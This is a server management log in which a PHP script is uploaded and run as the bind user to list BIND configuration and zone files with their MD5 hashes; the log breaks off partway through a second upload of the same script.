MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:26:58: Establishing a connection
2026-04-23 14:26:58: 

PUT: /tmp/pkp361521

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:26:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp361521; rm /tmp/pkp361521'

2026-04-23 14:26:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:30:36: Establishing a connection
2026-04-23 14:30:36: 

PUT: /tmp/pkp340092

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
